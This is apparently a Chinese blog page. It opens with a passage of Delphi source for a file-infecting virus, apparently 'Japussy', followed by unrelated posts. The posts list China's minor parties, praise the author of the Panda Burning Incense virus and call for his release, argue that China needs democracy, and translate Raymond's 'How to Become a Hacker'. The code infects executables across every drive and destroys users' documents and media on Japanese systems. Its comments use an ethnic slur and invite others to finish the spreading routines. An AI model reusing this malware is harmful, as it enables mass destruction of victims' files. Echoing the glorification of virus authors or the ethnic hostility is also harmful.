sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
2007/02/19
| [+/-] |
中国八大民主党派简介 |
中国国民党革命委员会(民革)
1948年1月1日正式成立,是由中国国民党民主派和其他爱国民主人士所创建、具有政治联盟特点、致力于建设有中国特色社会主义和祖国统一事业的政党。现有成员近6.5万人。
中国民主同盟(民盟)
成立于1941年3月,当时称"中国民主政团同盟",1944年改组,并改名为"中国民主同盟"。它是以从事文化教育方面工作的知识分子为主体的社会主义劳动者和拥护社会主义的爱国者的政治联盟,是为社会主义服务的政党。现有盟员15.6万人。
中国民主建国会(民建)
1945年12月成立,成员主要是爱国的民族工商企业家和与他们有联系的知识分子等。现有成员8500人。
中国民主促进会(民进)
成立于1945年12月,成员主要是从事教育、文化、出版、科学和其他工作的高、中级知识分子。现有成员8.1万人.
中国农工民主党(农工党)
成立于1930年8月,是以医药卫生、科学技术和文化教育界的中、高级知识分子为主要成员的社会主义劳动者和拥护社会主义的爱国者的政治联盟。现有成员8万余人。
中国致公党(致公党)
成立于1925年10月,是以归侨、侨眷为主的民主党派。现有成员2万余人。
九三学社
成立于1946年5月,以科学技术、文化教育和医药卫生界的高、中级知识分子为主要成员。现有成员8万多人。
台湾民主自治同盟(台盟)
成立于1947年11月,是由居住在中国大陆的台湾省人士组成的社会主义劳动者和拥护社会主义的爱国者的政治联盟。
| [+/-] |
“熊猫”过后的反思 |
"熊猫"过后的反思
作者:BlackHand
引言
2月12日消息,肆虐中国互联网的熊猫烧香病毒宣告侦破,据说这是我国破获的国内首例制作计算机病毒的大案。根据报道,湖北公安的网监警察在浙江、山东、广西、天津、广东、四川、江西、云南、新疆、河南等地公安机关的配合下,一举侦破了制作传播"熊猫烧香"病毒案,抓获李俊(男,25岁,武汉新洲区人)、雷磊(男,25岁,武汉新洲区人)等8名犯罪嫌疑人。
尔曹身与名俱灭,不废江河万古流
当得知熊猫的制作人被抓这个噩耗后,我的心情与当年得知马嘉爵、萨达姆被捕时的心情一样沉重。一个拥有中专学历,凭着电脑技术求职,屡遭不顺的孩子,最终终于用他的"熊猫烧香"向世人展示了自己的才能。我相信,当他走出大墙的那天,软件公司的猎头们一定会在墙外等他。我也相信他烧了那么多香,拜了那么多的神仙,以后一定有好运的!愿熊猫的香火世世代代流传下去,永不熄灭。
(引用广外女生博客里的句子)
我们在反思什么?
曾经有个自认为很英明的皇帝问一个乞丐
"你认为我是个好皇帝吗?"
那个乞丐回答说:"如果你是个好皇帝的话,我就不会是乞丐了"
不得不承认,这是个很实际的证据
一个凭着电脑技术出去求职,屡遭不顺的孩子,最终为什么选择制作"熊猫"?
难道一定要等我杀了人才知道我武艺精湛,非要等我推倒了城墙才知道我力大无穷,非要等我上了梁山才知道我不好对付。人们早干什么去了?
如果有关部门有正确的处理,也许他现在不是在城墙里,而是在中国网监部门里拼命的工作着
因此,我呼吁释放"熊猫"作者,他给中国网络做的是贡献,而不是恶意事件
本人也将在几星期后组织网络示威活动
要求释放"熊猫"作者,活动主题为《拯救"熊猫"》
每年那么多强奸,杀人的不抓,抓一个因为凭着电脑技术出去求职,屡遭不顺的孩子
这次示威活动不单要拯救"熊猫"而是要拯救整个黑客事业,黑客尊严
"打击黑客流氓,拯救黑客技术"才是我们的口号
QQ群:36410478
有意者请加
活动将在几星期后举行
现在急需人才,如果有做首领以及军师等经验的人才请联系我
我们将研究具体活动计划……
| [+/-] |
中国需要民主的理由 作者:海宽 |
日前,老潘"这样的生活,民主不民主也就罢了"的一句戏言被多次引用。似乎,"民主不民主"对于中国已经是个无足轻重的事情了。这使我想到,或许真需要思考一下中国需要民主的理由。因此,随便聊聊自己的一些想法,就教于老潘和各位网友。
人们谈到民主往往第一个想到的理由就是抑制腐败。有了民主,人们有批评的权力,新闻有监督的自由,腐败就会受到抑制,贪官就会有所收敛。这的确是一个理由,但颇值得怀疑。我们这些知青都知道,在极其专制的年代里,大家虽然生活贫困,腐败却并不严重。就亚洲讲,一党独大、民主程度不算高的新加坡是廉政的楷模,民主程度并不低的菲律宾、印度、日本,廉政的水平似乎也不算很高。
需要民主的第二个理由是民主可以使最优秀的人掌握权力。常言说,"兵孬孬一个,将孬孬一窝"。没有好的领导人,一个组织的效率肯定受到影响。虽然功过评说不一,毛、周、邓、林、陈云、彭德怀、陈毅等,毕竟都有不俗的才能。那是在战争中打出来的,是战火筛选的结果。和平环境下,如果没有民主,很难保证人才可以脱颖而出。没有民主,由一个人为全中国人选领导,从刘少奇、彭真、林彪、王洪文到华国锋,都不能算成功。在专制社会中,"选拔接班人"是高度机密的事情,往往只是少数人策划于密室。在民主社会中,却几乎所有的成年人都可以参与。今天恰好是美国的大选日,我还不知道结果。不论谁当选,都得过五关、斩六将,无能之辈入主白宫的可能性几乎为零。对于这个理由,可争论的地方也很多。已经有许多人批评所谓的民主竞选不过是金钱的竞争,是公开的集团贿赂。海外网络写手马悲鸣曾提出"弱主民之福"的观点,就内政讲,我很赞成。老毛确实是天分过人,意志刚强,治下的百姓却一穷二白。现在虽说天天在电视上看着我们的"弱主"整天拿着稿子念些毫无新意、空洞无
物的话,颇感扫兴,但百姓的生活却的确在不断改善。
需要民主的第三个理由是为了经济发展。确实,民主的西德、南韩的经济发展水平比专制的东德、北韩高,民主进程快些的台湾的经济发展水平也高于民主进程缓慢的大陆。在经济发展的赛跑中,民主的美国也胜过了专制的苏联。但是,民主与经济发展之间不一定有必然联系。两个亚洲人口大国,在几乎所有的经济发展指标上,民主的印度都不如专制的中国。
需要民主的第四个理由是为了保护人权。在民主制度下,人权受到侵害的情况也肯定会有的。但与专制体制相比,人的基本权利可以得到更多的保护。在专制体制下,张志新、遇罗克等人仅仅因为说出了自己的思想而被公开杀害。今天,一大批最优秀的人才、最优秀的知青仅仅因为说出了自己的真实想法而被关押或流亡。这种情况在民主制度下一般是不会公开发生的。这仅仅是生存的权利、人身自由的权利,更不用说那些一个公民本来应该具有的、即使在我们的宪法中也明确规定了的言论、结社的自由。
需要民主的第五个理由是为了保证社会的相对公正。让我们从大家都熟悉的高考谈起。今天,同一张考卷,北京与山东、湖北等省的录取分数线相差约100分。参加相同的考试同样得到580分,北京考生可以稳进清华、北大等顶尖学校,山东考生可能还进不了重点院校。今年2月《中国青年报》曾试图公开讨论这一问题,很快被有关部门禁止。美国的情况是相反的。最近主持美国"高考(SAT)"的教育测验服务中心(ETS)进行了一项被称为"奋斗者(striver)"的计
划,其主要内容是试图在分数报告上照顾那些来自黑人、西班牙人家庭、来自低收入家庭、来自落后地区、来自落后中学的考生。这项计划引起很大争议,获益的黑人和西班牙裔当然支持,略微受损的白人和受损最大的亚裔当然反对(一个与全美国人口相比很出色的亚裔学生如果与亚裔学生相比就不算很出色)。在一个民主社会中,具有不同利益的群体可以通过公开争论、协商、谈判机制来协调利益,达到相对公平。在一个专制社会中,弱势团体的利益很容易受到损害。在
今日的中国,利益受损最大的是农民。农民没有自己的政治代表,没有人为农民说话,农民也没有通过谈判来维护自己利益的可能。今天,不论是"新左派"还是"自由派",对于"分家"并没有分歧。前者更强调"公正地分家",后者更强调"快点分家"。只有加快民主化的进程,才能使"分家"的过程更公正。即使分家以后,将来不同利益群体之间还会有利益冲突。只有在民主体制下,才可能通过谈判机制来保证利益分配的相对公正。
我又想起肯尼迪总统在推动美国黑人民权运动时所说(大意):推动黑人民权运动不是为了经济的发展,不是为了社会的稳定,而是为了道义。与此相仿,中国需要民主的主要理由不是为了抑制腐败,不是为了选拔人才,不是为了发展经济,而是为了维护基本人权,而是为了保证社会的相对公正。
2007/02/18
| [+/-] |
如何成为一名黑客 |
Copyright © 2001 by Eric S. Raymond 翻译:Barret 翻译水平有限,欢迎来信指教,我的Email是barret(a)ynmail.com,但请勿问电脑技术问题(反正也不懂)。 允许未经作者及译者的同意进行非商业目的的转载,但必须保持原文的完整性。 作为 Jargon File 的编辑和一些其他有名的类似性质文章的作者,我经常收到充满热情的网络新手的email提问(确实如此) "我如何才能成为一名出色的黑客?"非常奇怪的是似乎没有任何的FAQ或者Web形式的文档来说明这个十分重要的问题,因此我写了一份。 如果你现在读的是这份文档的离线拷贝,那么请注意当前最新版本(英文版)在 http://www.tuxedo.org/~esr/faqs/hacker-howto.html可以得到。 注意:在这份文档最后有 FAQ(常问问题解答)。请在向我提出任何关于这份文档的疑问之前读两遍。 目前这份文档有很多翻译版本: 保加利亚语, 简体中文, 繁体中文, 丹麦语, 荷兰语, 法语, 德语, 匈牙利语, 印尼语, 日语, 朝鲜语, 葡萄牙语, 俄语及 瑞典语。注意由于这份文档时有修正,所以以上翻译版本可能有不同程度的过时。 Jargon File 包含了一大堆关于"hacker"这个词的定义,大部分与技术高超和热衷解决问题及超越极限有关。但如果你只想知道如何 成为 一名黑客,那么只有两件事情确实相关。 这可以追溯到几十年前第一台分时小型电脑诞生, ARPAnet 实验也刚展开的年代,那时有一个由程序设计专家和网络名人所组成的, 具有分享特点的文化社群。这种文化的成员创造了 "hacker" 这个名词。黑客们建立了 Internet。黑客们发明出了现在使用的 UNIX 操作系统。黑客们使 Usenet 运作起来, 黑客们让 WWW 运转起来。如果你是这个文化的一部分,如果你对这种文化有所贡献,而且这个社群的其它成员也认识你并称你为 hacker, 那么你就是一位黑客。 黑客精神并不仅仅局限在软件的黑客文化中。有人用黑客态度对待其它事情,如电子学和音乐—— 事实上,你可以在任何最高级别的科学和艺术活动中发现它。精于软件的黑客赞赏这些在其他领域的同类并把他们也称作黑客—— 有人宣称黑客天性是绝对独立于他们工作的特定领域的。 但在这份文档中,我们将注意力集中在软件黑客的技术和态度,以及发明了"黑客"一词的以共享为特征的文化传统之上。 有一群人大声嚷嚷着自己是黑客,但他们不是。他们(主要是正值青春的少年)是一些蓄意破坏计算机和电话系统的人。真正的黑客把这些人叫做"骇客"(cracker),并不屑与之为伍。多数真正的黑客认为骇客们又懒又不负责任,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如用铁丝偷开走汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把"骇客"当成黑客;这种做法一直使真正的黑客感到恼火。 根本的区别是:黑客搞建设,骇客搞破坏。 如果你想成为一名黑客,请接着读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在意识到你并不像自己想象的那么聪明后去坐五到十次监狱。关于骇客,我只想说这么多。 黑客们解决问题,建设事物,同时他们崇尚自由和无私的双向帮助。要被他人承认是一名黑客,你的行为得体现出你好像具备了这种态度一般。而要想做得好象你具备这种态度一般,你就得切切实实坚持它。 但是如果你认为培养黑客态度只是一条在黑客文化圈中得到承认的路子,那就大错特错了。成为具备这些特质的这种人对 你自己非常重要——有助于你学习,及给你提供源源不断的动力。同所有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神—— 不仅从智力上,也要从感情上进行模仿。 或许, 下面这首现代的禅诗很好的阐述了这个意思: To follow the path:(沿着这样一条道路:) 嗯,如果你想成为一名黑客,反复读下面的事情直至你相信它们: 做一名黑客会有很多乐趣,但却是要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从锻炼身体、超越自我极限的愉悦中得到动力。同样,做黑客,你得能从解决问题,磨练技术及锻炼智力中得到基本的乐趣。 如果你还不是天生的这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他分心的事物吞噬掉——如金钱、性和社会上的虚名。 (同样你必须对你自己的学习能力建立信心——相信尽管当你对某问题近乎一无所知,但只要你一点一点地试验、学习,最终会掌握并解决它。) 聪明的脑袋是宝贵的有限的资源。当世界还充满非常多有待解决的有趣的新问题时,它们不应该被浪费在重新发明轮子这类事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的——因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决 新问题而不是不断地忙于对付旧问题。 (你不必认为一定要把你 所有的发明创造公布出去,但这样做的黑客是赢得大家极度尊敬的人。卖些钱来养家糊口,租房买计算机甚至发大财和黑客价值观也是相容的,只要你别忘记你还是个黑客。) 黑客(泛指具有创造力的人们)应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情—— 解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,而且是罪恶。 作为一个黑客,你必须坚信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。 (对此有一个明显的例外。黑客有时也做一些在他人看来是重复性或枯燥的工作以进行"脑力休息",或是为了获得某种技能,或是获得一些除此以外无法获得的特别经验。但这是自愿的——有脑子的人不应该被迫做无聊的活儿。) 黑客们是天生的反独裁主义者。任何能向你发命令的人能够迫使你停止解决令你着迷的问题,同时,按照独裁者的一般思路,他通常会给出一些极端愚昧的理由。因此,不论何处,任何独裁主义的作法,只要它压迫你和其他黑客,你就要和它斗到底。 (这并非向所有权威挑战。儿童需要监护,罪犯要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客可以同意接受某种形式的权威。但这是一个有限度的,有意的交易;那种权威想要的个人服从不是你应该同意给予的。) 权威喜欢审查和保密。他们不信任自愿的合作和信息的共享—— 他们只喜欢由他们控制的所谓"合作"。因此,作为一个黑客,你得对审查、保密,以及使用武力或欺骗去压迫有行为能力的人们的做法有一种本能的敌意。同时你要有为此信念斗争的意愿。 作为一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,也不能使你成为一个运动健将和摇滚明星。成为一名黑客需要智力,实践,奉献精神和辛苦工作。 因此,你必须学会怀疑,并尊重各种各样的能力。黑客们不会为那些装模做样的人浪费时间,但他们却非常尊重能力—— 尤其是从事黑客工作的能力,不过任何能力总归是好的。具备很少人能具备的那些方面的能力尤其好,其中具备涉及脑力、技巧和专注方面能力的当然最好。 尊敬能力,你就会享受到提高自己能力的乐趣—— 辛苦的工作和奉献会变成一种高度娱乐而非苦差事。要想成为一名黑客,这一点非常重要。 黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一些基本的技术你必须掌握。 这些基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去内容包括使用机器语言编程,而直到最近才包括了HTML。总的来说现在主要包括以下技术: 这当然是最基本的黑客技能。如果你还不会任何编程语言,我建议你从Python开始。它设计清晰,文档齐全,合适初学者入门。它是一门很好的入门语言,并且不仅仅只是个玩具;它非常强大、灵活,也适合做大型项目。我有一篇 Python评价详细说明这点。好的 教程 可以在Python网站得到。(译者:比较好的中文Python站点可能是http://pythonrecord.51.net。) Java也是好的入门语言。它比Python难得多,但是生成的代码速度也快得多。它同时也是一种优秀的计算机语言,不止是用来入门。 但是注意,如果你只会一两门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个程序员的水平——你需要学会如何以抽象的方式思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种截然不同的语言。 如果要做一些重要的编程工作,你将不得不学习C语言,Unix的核心语言。 C++与C非常其他类似;如果你了解其中一种,学习另一种应该不难。但这两种都不适合编程入门者学习。而且事实上,你越避免用C编程,你的工作效率会越高。 C非常有效率,节约你的机器资源。不幸的是,C的高效是通过你手动做很多底层的管理(如内存)来达到的。底层代码都是复杂极易出现bug的,会使你花极多的时间调试。如今的机器速度如此之快,这通常是得不偿失——比较明智的做法是使用一种运行较慢、较低效率,但大幅节省你的时间的语言。因此,选择Python。 其他对黑客而言比较重要的语言包括 Perl和 LISP。 Perl实用,值得一学;它被广泛用于动态网页和系统管理,因此即便你从不用Perl写程序,至少也应该学会看。许多人使用Perl的理由和我建议你使用Python的理由一样,都是为了避免用C完成那些不需要C高效率的工作。你会需要理解那些工作的代码的。 LISP值得学习的理由不同——最终掌握了它时你会得到丰富的启迪和经验。这些经验会使你在以后的日子里成为一个更好的程序员,即使你实际上很少使用LISP本身。 当然,实际上你最好五种都会(Python,Java,C/C++,Perl和LISP)。除了是最重要的黑客语言外,它们还代表了截然不同的编程思路和方法,每种都会让你受益非浅。 这里我无法给你完完全全的指导教会你如何编程——这是个复杂的技能。但我可以告诉你,书本和上课也不能作到(最好的黑客中,有许多,也许 几乎都是自学成材的)。你可以从书本上学到语言的特点——只是一些皮毛,但要使书面知识成为自身技能只能通过实践和虚心向他人学习。因此要作到 (一)读代码及(二)写代码。 学习如何编程就象学习用优美的自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,再读些,再写点…… 如此往复,直到你的文章达到你体会到的范文的简洁和力量。 过去找到适合阅读的好的代码是困难的,因为几乎没有大型程序的源代码能让新手练手。这种状况已经戏剧性地发生变化;开放源代码软件,编程工具和操作系统(全都由黑客写成)现在已经随处可见。让我们在下一个话题中继续讨论…… 我假设你已经拥有或者能使用一台个人电脑(今天的孩子们真幸福 :-) )。新手们能够朝学习黑客技能迈出的最基本的一步就是得到一份Linux或BSD-Unix的一种,安装在个人电脑上,并运行它。 没错,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发布的——你无法读到它的源代码,也不可能修改它。尝试在运行DOS或Windows或MacOS的机器上学习黑客技术,就象是带着脚镣学跳舞。 除此之外,Unix还是Internet的操作系统。你可以学会上网却不知道Unix,但你不了解Unix就无法成为一名Internet黑客。因此,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此一直很不高兴,但Unix和Internet之间的联系已是如此之强,甚至连Microsoft也无可奈何。) 所以, 安装一套UNIX——我个人喜爱LINUX但还有其他种类的(是的,你可以同时安装Linux及DOS/Windows在同一电脑上)。学习它,使用它,配置它。用它在Internet上冲浪。阅读它的源代码。修改它的源代码。你会得到比在Microsoft操作系统上更好的编程工具(包括C,LISP,Python及Perl)。你会觉得乐趣无穷,学到在你成为大师之前意识不到的更多的知识。 想知道更多关于学习Unix的信息,访问 The Loginataka。 想知道如何得到一份Linux,访问 我在哪里可以获得Linux。(译者:对于中文读者来讲,最简单的方式未过于前往附近的D版/正版光盘店。) 你可以在 www.bsd.org找到BSD Unix的求助及其他资源。 我有写一篇关于 Unix和Internet基础的入门文章。 (注:如果你是一个新手,我不推荐自己独立安装Linux或者BSD。安装Linux的话,寻求本地Linux用户组的帮助;或联系 Open Projects Network。 LISC维护着一些 IRC频道,在那里你可以获得帮助。) 黑客文化建造的大多东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对非黑客的普通人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习掌握Web。 这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML, Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先完成一个主页。(网上有很多好的教程; 这是一个。) 但仅仅拥有一个主页不能使你成为一名黑客。 Web里充满了各种网页。大多数是毫无意义的,零信息量垃圾——界面时髦的垃圾,注意,垃圾的水准都类似(更多信息访问 The HTML Hell Page)。 要想有价值,你的网页必须有内容—— 它必须有趣或对其它黑客有帮助。这是下一个话题所涉及的…… 作为一个美国人和一个以英语为母语的人,我以前很不情愿提到这点,免得成为一种文化上的帝国主义。但相当多以其他语言为母语的人一直劝我指出这一点,那就是英语是黑客文化和Internet的工作语言,你需要懂得以便在黑客社区顺利工作。 这一点千真万确。大概1991年的时候我就了解到许多黑客在技术讨论中使用英语,甚至当他们的母语都相同,英语对他们而言只是第二语言的时候;据我知道的报导,当前英语有着比其他语言丰富得多的技术词汇,因此是一个对于工作来说相当好的工具。基于类似的原因,英文技术书籍的翻译通常不令人满意(如果有翻译的话)。 Linus Torvalds,一个芬兰人,用英语注释他的代码(很明显这对他来说不是凑巧)。他流利的英语成为他能够管理全球范围的Linux开发人员社区的重要因素。这是一个值得学习的例子。 象大部分不涉及金钱的文化一样,黑客王国靠声誉运转。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要由那些和你具有同样技术水平的人或比你更厉害的人去评判的。 相应地,当你在玩黑客游戏时,你得认识到你的分数主要靠其他黑客对你的技术的评价给出(这就是为什么只有在其它黑客称你为黑客时,你才算得上是一名黑客)。这个事实常会被黑客是一项孤独的工作这一印象所减弱;也会被另一个黑客文化的禁忌所减弱(现在逐渐减弱但仍强大):拒绝承认自我或外部评估与一个人的动力有关系。 特别地,黑客王国被人类学家们称为一种奉献文化。 在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的创造和你的技术成果。 要获得其他黑客的尊敬,基本上有五种事情你可以干: 第一个(也是最集中的和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序源代码提供给整个黑客文化使用。 (过去我们称之为"free software (自由软件)",但这却使很多不知 free 的精确含义的人感到困惑。现在我们很多人,根据搜索引擎网页内容分析至少有2:1的比率,使用" open-source"software(开放源代码软件)这个词)。 黑客王国里最受尊敬的偶像是那些写了大型的、好用的、具有广泛用途的软件,并把它们公布出去,使得每人都在使用他软件的人。 黑客也尊敬那些使用、测试开放源代码软件的人。在这个并非完美的世界上,我们不可避免地要花大多数的开发时间在调试阶段。 这就是为什么任何有头脑的开放源代码的作者都会告诉你好的beta测试员(知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布中的bug,并且愿意使用一些简单的诊断工具)象红宝石一样珍贵。 甚至他们中的一个能判断出哪个测试阶段是延长的,哪个是令人精疲力尽的噩梦,哪个只是一个有益的小麻烦。 如果你是个新手,试着找一个你感兴趣的正在开发的程序,做一个好的beta测试员。你会自然地从帮着测试,进步到帮着抓臭虫,到最后帮着改程序。你会从中学到很多,并且与未来会帮你的人结下友谊。 黑客文化(还有Internet的工程方面的发展,就此而言)是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成——管理mail list,新闻组,维护大型软件库,开发RFC和其它技术标准等等。 做这类事情的人会得到很多尊敬,因为每人都知道这些事情是十分花时间又不象编程那样好玩。做这些事情需要奉献精神。 